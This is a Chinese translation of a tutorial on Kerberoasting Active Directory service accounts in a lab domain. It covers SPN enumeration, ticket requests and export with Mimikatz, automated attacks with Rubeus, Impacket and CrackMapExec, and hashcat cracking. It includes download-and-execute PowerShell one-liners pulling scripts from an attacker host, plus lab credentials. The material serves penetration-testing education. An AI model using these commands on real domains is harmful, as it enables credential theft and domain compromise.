本文通过 Google 翻译 AD Escalation -- Kerberoasting Attacks 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航
- [0 前言](#0 前言)
- [1 Kerberos 简介](#1 Kerberos 简介)
- [2 Kerberoasting 攻击简介](#2 Kerberoasting 攻击简介)
- [3 手动搜寻 SPN -- 本地](#3 手动搜寻 SPN – 本地)
- [3.1 搜寻可 Kerberoasting 的服务帐户 -- setspn.exe](#3.1 搜寻可 Kerberoasting 的服务帐户 – setspn.exe)
- [3.2 搜寻可 Kerberoasting 的服务帐户 -- Get-SPNs.ps1](#3.2 搜寻可 Kerberoasting 的服务帐户 – Get-SPNs.ps1)
- [4 手动申请服务票据 to 内存 -- 本地](#4 手动申请服务票据 to 内存 – 本地)
- [4.1 申请服务票据 -- PowerShell](#4.1 申请服务票据 – PowerShell)
- [5 手动导出服务票据 from 内存 -- 本地](#5 手动导出服务票据 from 内存 – 本地)
- [5.1 导出服务票据 -- Invoke-Mimikatz](#5.1 导出服务票据 – Invoke-Mimikatz)
- [5.2 票据格式 Kirbi 转换为可破解格式](#5.2 票据格式 Kirbi 转换为可破解格式)
- [6 自动 Kerberoasting 攻击 -- 本地](#6 自动 Kerberoasting 攻击 – 本地)
- [6.1 Rubeus.exe](#6.1 Rubeus.exe)
- [6.2 Invoke-Kerberoast](#6.2 Invoke-Kerberoast)
- [7 自动 Kerberoasting 攻击 -- 远程(携用户凭据)](#7 自动 Kerberoasting 攻击 – 远程(携用户凭据))
- [7.1 GetUserSPNs.py](#7.1 GetUserSPNs.py)
- [7.2 CrackMapExec](#7.2 CrackMapExec)
- [7.3 Pypykatz](#7.3 Pypykatz)
- [8 破解 TGS-REP 哈希](#8 破解 TGS-REP 哈希)
0、前言
在这篇文章中,我们将探讨多种在 AD 环境中执行 Kerberoasting 攻击的方法。
首先,我们将简要了解一下 Kerberos 是什么以及 Kerberoasting 攻击的工作原理;接着,在目标主机上建立立足点之后,利用 LOLBins 和 PowerShell 脚本来枚举可进行 kerberoasting 攻击的域服务帐户;然后,使用多种方式去进行本地 半自动/自动 kerberoasting 攻击;此外,我们还将了解另外三种可以远程 自动执行 kerberoasting 攻击的工具;最后,我们将使用 hashcat 对那些在 Kerberoasting 攻击中提取到的服务帐户的 TGS-REP 哈希值进行破解。
1、Kerberos 简介
Kerberos 是一种身份验证协议,它用于验证两个或多个受信任主机之间的服务请求。
作为替代 NTLM 的一种手段,Kerberos 提供了一种安全的票据机制来验证网络用户和服务的身份。客户端可以凭借域账户密码向 KDC(即密钥分发中心 ,它提供身份验证和票据发放服务。)发起身份验证以申请票据授予票据 (即 TGT),然后再使用 TGT 票据向 KDC 申请服务票据(即 ST),最后使用 ST 票据与所申请的服务进行身份验证并建立安全会话。

2、Kerberoasting 攻击简介
Kerberoasting 攻击是一种允许攻击者请求任何已注册 SPN 服务的服务票据的技术。票据请求成功后,该服务票据将以 TGS-REP 哈希的形式呈现给攻击者,然后攻击者就可以使用 hashcat 之类的工具去破解哈希以期望获得服务帐户的密码。因此,该攻击的主要目标就是获取 AD 中以域用户帐户运行的服务的服务票据。

通常,Kerberoasting 的攻击主要涉及四个步骤:
- 发现 SPN
- 申请服务票据
- 导出服务票据
- 破解服务票据
而要进行上述这些步骤之前,我们还需要满足以下任一条件才行:
- 在域主机上建立立足点(任何帐户)
- 拥有一组有效的域帐户凭据(任何帐户)
如果域服务帐户具有注册的 SPN,那么它应该是可以进行 Kerberoasting 攻击的。至于攻击能否取得收获,这还取决于密码的强度以及所破解的服务帐户所具有的权限级别。
现在,我们已经了解了 Kerberos 和 Kerberoasting。接下来,让我们开始吧。
3、手动搜寻 SPN -- 本地
在这个示例中,目标网络情况如下:
- Juggernaut-DC -- Server 2019 -- 172.16.1.5
- JUGG-backup -- Server 2019 -172.16.1.10
- JUGG-efrost -- Windows 10 -- 172.16.1.100
同时,我们假设在 Windows 10 主机 (172.16.1.100) 上发现了一个漏洞,并成功利用该漏洞获得了反向 shell。

此时,虽然我们没有一组可用的凭证,但我们有一个立足点,它满足 Kerberoasting 攻击的两个要求之一。
注:只要域中某台机器上的某个服务以域账户的身份启动运行,那么它便会向 DC 注册 SPN,以唯一标识一个服务实例。
当客户端想通过 Kerberos 认证访问这个服务时,它就可以用这个服务对应的 SPN 标识串向 KDC 请求服务票据,KDC 就可以根据 AD 中注册的 SPN 确定应该用哪个账户的密钥来加密票据。
因此,若某服务想支持 Kerberos 认证,则它必须向 DC 注册 SPN 才行。
3.1、搜寻可 Kerberoasting 的服务帐户 -- setspn.exe
setspn 命令主要用于为域中的服务帐户设置 SPN,然而,攻击者发现也可以利用它来枚举可受 Kerberoasting 攻击的服务帐户。
注:该命令属于 windows 工具,在 windows 域服务器上几乎肯定会存在,而在一些 windows 客户端版本中可能需要安装 RSAT 工具包。
因此,在使用该命令前需要先检查一下
C:\Windows\System32\setspn.exe
,如果存在,它应该是最佳的枚举工具。
要使用 setspn 命令,我们需要在 -T 选项后提供域名或通配符。如果使用通配符,它将检查当前林中的服务帐户。这意味着,如果林包含多个域,它将检查每个域中是否存在已注册的服务帐户。
cmd
setspn -T * -F -Q */*

从上面输出中可以看到,该林仅包含一个域:juggernaut.local ,并且还找到了两个可 kerberoasting 的服务帐户:sqlservice、backup_svc。
注:上面输出的信息中,主要有 以域控账户 注册的 SPN、以域计算机账户 注册的 SPN、以域用户账户 注册的 SPN,而我们只关注以域用户账户 注册的 SPN,即包含
CN=Users,DC=juggernaut,DC=local
的用户。另外,不同的域控器对 SPN 的表示方式似乎也有一些不同,如上图中是以 主机名/服务账户.域名:端口号 (
Juggernaut-DC/sqlservice.juggernaut.local:60111
) 的方式,而我的测试环境中是以 服务标识/主机名.域名:端口号 (MSSQLSvc/DC2012.skylark.com:1433
)的方式。因此,若想从中获取域账户名称等信息,建议还是以导出服务票据中显示的域账户信息为准。
3.2、搜寻可 Kerberoasting 的服务帐户 -- Get-SPNs.ps1
另一个可用来枚举域中已注册 SPN 的工具是 Powershell 版本的 Get-SPNs.ps1,执行该脚本的设置过程此处略过,以下仅展示该脚本执行之后的输出结果。
powershell
iex(new-object net.webclient).downloadstring('http://172.16.1.30/Get-SPNs.ps1')

现在,我们已经了解了如何查找已注册 SPN 的域服务帐户,接下来,让我们继续下一步:申请/导出服务票据。
此外,还有许多工具可用于枚举可 kerberoasting 的用户,其中包括 Bloodhound、PowerView、RSAT 等。
4、手动申请服务票据 to 内存 -- 本地
在成功找到两个可 kerberoasting 的域服务帐户之后,接下来便是为每个服务帐户申请各自的服务票据。当我们申请服务票据时,票据会被缓存到内存中,而为了能从票据中获取 TGS-REP 哈希,我们需要将票据从内存中导出来。
4.1、申请服务票据 -- PowerShell
通过使用 PowerShell 内置命令,我们可以申请到服务票据,但是却无法直接通过 powershell 内置命令从内存中导出它们,而必须借助外部工具才行。
以下是请求 sqlservice 帐户服务票据的命令:
powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "Juggernaut-DC/sqlservice.juggernaut.local:60111"

对于 backup_svc 帐户同样如此:
powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "JUGGERNAUT-DC/backup_svc.juggernaut.local:60112"

上面输出显示,两张票据都已成功的申请并缓存到了内存中。但为了确认这两张票据确实已被缓存在了本地,我们可以使用 klist 命令来进一步确认:
powershell
klist

Great!上图表明,这两个服务票据都已被缓存,同时还可以看出这两个票据的加密类型都是 RC4。
RC4 是一种非常弱的加密类型,很容易被破解,建议对 Kerberos/SPN 使用 AES 加密。不过,默认情况下 RC4 是启用的,使用 setspn 时会自动分配给服务账户。
注:GPT 回答:在 同一硬件+同一字典 的情况下,以 RC4 作为破解模式,每秒中可以尝试破解 350000 个密码,而对于 AES 破解模式,每秒只能尝试 5000 个密码。这就是上面所说的 RC4 弱,很容易被破解的原因。
现在,服务票据已被缓存,接下来,我们需要将其从内存中导出来。
5、手动导出服务票据 from 内存 -- 本地
为了从内存中导出服务票据,我们需要借助 Mimikatz 之类的工具,由于 Mimikatz 版本众多,在本例中为了方便,我们将使用 PowerShell 版本的Mimikatz :Invoke-Mimikatz。
5.1、导出服务票据 -- Invoke-Mimikatz
下载 Invoke-Mimikatz.ps1 副本之后,我们可以在其底添加以下命令以实现加载即运行的效果:
bash
echo Invoke-Mimikatz -Command \'\"kerberos::list /export\"\' >> Invoke-Mimikatz.ps1

现在,脚本已经准备好了,HTTP 服务器也正在运行。剩下要做的就是在受害者机器上执行 IEX 命令运行脚本。
powershell
iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-Mimikatz.ps1')

可以看到,该脚本将多个服务票据对应的 .kirbi 文件保存到了当前目录中。

可以看到,内存中所有缓存的票据都被导了出来。但是,我们只对可 kerberoasting 的服务帐户的票据感兴趣。
5.2、票据格式 Kirbi 转换为可破解格式
将我们感兴趣的票据文件传输到攻击者机器后,接下来就需要将它们转换成 hashcat 这类工具可破解的格式。
为此,我们可以使用 kirbi2john 对这两个 kirbi 文件进行格式处理,接着将输出结果保存到单个文件中去,然后就可以使用 hashcat 进行破解了。
bash
kirbi2john 3-40a10000-efrost@Juggernaut-DC~sqlservice.juggernaut.local~60111-JUGGERNAUT.LOCAL.kirbi > kerberoast.txt
kirbi2john 2-40a10000-efrost@JUGGERNAUT-DC~backup_svc.juggernaut.local~60112-JUGGERNAUT.LOCAL.kirbi >> kerberoast.txt

然而,在了解如何破解这些哈希值之前,让我们再看一些可以自动化以上整个操作过程的自动化攻击工具。
6、自动 Kerberoasting 攻击 -- 本地
工具 rubeus.exe 和 Invoke-Kerberoast 只需一条命令便可以自动执行 kerberoasting 攻击过程的前三个步骤:搜索已注册的 SPN、申请服务票据、导出服务票据。最重要的是,它们还会将导出的服务票据自动格式化为 hashcat 可以破解的哈希格式,以方便我们直接使用。
6.1、Rubeus.exe
Rubeus 是一种可以在 AD 环境中非常轻松地执行 kerberoasting 攻击的工具,只需一条命令,rubeus.exe 就会识别、申请并提取域中所有可 kerberoasting 用户的哈希值。
首先,我们需要将获取的 Rubeus 副本下载并传输到受害者机器上。
powershell
cp \\172.16.1.30\share\rubeus.exe .

然后就可以使用以下命令执行 kerberoasting 攻击:
powershell
.\rubeus.exe keberoast



Boom!就这样,Rubeus 便找到了可 kerberoasting 攻击的用户,并转储了它们的 TGS-REP 哈希值!
6.2、Invoke-Kerberoast
Invoke-Kerberoast.ps1 是一个 PowerShell 脚本,它是后利用框架 Empire 的一部分。
将 Invoke-Kerberoast.ps1 的副本下载并传输到受害机之后,就可以通过在受害机执行以下命令来请求票据并以可破解的格式输出哈希:
powershell
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | fl
或者,也可以通过在脚本底部附加以下命令的方式,通过远程来加载运行脚本:
bash
echo 'Invoke-Kerberoast -OutputFormat hashcat | fl' >> Invoke-Kerberoast.ps1

然后,在受害机上,可以使用以下命令将脚本直接下载到内存中执行:
powershell
iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-Kerberoast.ps1')

脚本执行的结果和使用 Rubeus 执行的结果相似,然后就可以将哈希值复制并粘贴到 TXT 文件中,以便可以使用 Hashcat 去破解它们。
Cool!现在,我们已经见过了很多关于如何执行 Kerberosting 攻击的示例,然而,这些攻击都需要我们在目标上建立立足点才能执行。
接下来,我们将转向不同的场景,看看如何不建立立足点便可以通过远程去执行 Kerberoasting 攻击。
7、自动 Kerberoasting 攻击 -- 远程(携用户凭据)
在接下来的示例中,我们将使用三种不同的工具去远程执行 kerberoasting 攻击(无需立足点):GetUserSPNs.py、CrackMapExec 、Pypykatz。
这里我们假设,在初始枚举期间我们在 Windows 10 主机的 SMB 共享中发现了一组有效的凭据。
Intern : W3lc0met0Th3p4rtY
在对该凭据进行各种访问权限的检测之后,我们发现无法通过任何基本方式(RDP、WinRM、SMB)能与目标建立立足点。
但是,只要拥有一组有效的凭证,我们就依然可以执行 Kerberoasting 攻击,因为它满足执行 Kerberoasting 攻击的第二个条件。
7.1、GetUserSPNs.py
GetUserSPNs.py 是 Impacket 脚本集合的一个工具,该脚本的妙处在于它不需要我们在受害者机器上建立立足点便可以直接在攻击者机器远程发起 Kerberoasting 攻击。
事实上,在使用此工具进行 Kerberoasting 攻击之前先对 SPN 进行枚举是一种很好的做法:
bash
GetUserSPNs.py juggernaut.local/intern:'W3lc0met0Th3p4rtY' -dc-ip 172.16.1.5

因为它除了可以提取到可受攻击的服务帐户之外,它还可能提取到服务帐户所属组的相关信息。
请注意,服务帐户通常位于域管理员组中,如果能看到该组,然后恰好又破解了密码,那么游戏便可以提前结束了!
现在,我们找到了两个可 kerberoasting 的帐户,接着只需在命令中添加 -request 选项便可以申请/导出 TGS-REP 哈希了:
bash
GetUserSPNs.py juggernaut.local/intern:'W3lc0met0Th3p4rtY' -dc-ip 172.16.1.5 -request

7.2、CrackMapExec
CrackMapExec 是我们可以用来远程执行 kerberoasting 攻击的另一个工具,执行以下命令即可发起攻击:
bash
crackmapexec ldap 172.16.1.5 -u 'intern' -p 'W3lc0met0Th3p4rtY!' -d 'juggernaut.local' --kerberoasting service_hashes.txt

可以看到,CrackMapExec 也能够提取服务帐户所属组的信息。
7.3、Pypykatz
Pypykatz 是我们可以用来远程执行 kerberoasting 攻击的最后一个工具。
该工具的优点在于:可选择我们所申请的服务票据的加密类型。当然这也取决于目标是否已启用 RC4 加密类型,如果 AES 和 RC4 同时启用时,此功能尤其有用,而如果 RC4 被禁用,此功能也将无法工作。
注:理想情况下,如果同时启用 AES 和 RC4,我们希望获取 RC4 哈希,因为它更弱,破解速度更快。
该工具的缺点在于:抓取服务哈希的过程中可能会出现漏抓的情况,而且命令参数的使用很复杂。例如,在本例中,明明有两个注册 SPN 的服务账户,但它却只能抓取到 backup_svc 这个服务账户的票据哈希,而漏掉了 sql_svc 账户的票据哈希。
bash
pypykatz kerberos spnroast -e 23 'kerberos+password://juggernaut.local\intern:[email protected]' -l 'ldap+ntlm-password://juggernaut.local\intern:[email protected]' -o roast_me.txt

底部的 INFO 消息表明命令已成功完成。但当我检查 roast_me.txt 文件时,它却包含 3 个 backup_svc 用户的哈希副本,却没有 sqlservice 用户的哈希?

从输出中可以看到,该工具在尝试全自动执行 Kerberoasting 攻击时还存在着一些问题。
如果想了解该工具的更多使用方法,可查看此 Wiki 帮助。
8、破解 TGS-REP 哈希
现在,我们已经了解了执行 Kerberoasting 攻击的各种方法,是时候开始破解这些发现的哈希值了!
使用 Hashcat 进行哈希破解之前,我们需要先找到可以破解此类哈希所对应的破解模式:
bash
hashcat -h | grep -i 'kerberos'
TGS-REP 哈希值类型有几种类型可供选择,这对应了 Kerberos 支持的几种的哈希算法。其中类型 23 对应着 RC4 哈希值($krb5tgs$23$
),类型 18 对应着 AES 哈希( $krb5tgs$18$
)。
从上面各工具输出的哈希串可以看出,它们均是 RC4 类型的哈希,因此对应的破解模式均是 13100。在知道了要使用的破解模式之后,接下来便可以开始破解了!
bash
hashcat -m 13100 ./kerberoast.txt /usr/share/wordlists/rockyou.txt -o cracked_hashes.txt



Amazing!使用 Hashcat + rockyou.txt 成功破解了其中一个哈希值,检查输出文件 cracked_hashes.txt,我们可以看到破解了 backup_svc 帐户的哈希!

backup_svc : Makemoney1!
一旦获得了一组服务帐户的密码,我们就可以做很多的事情来推进攻击了。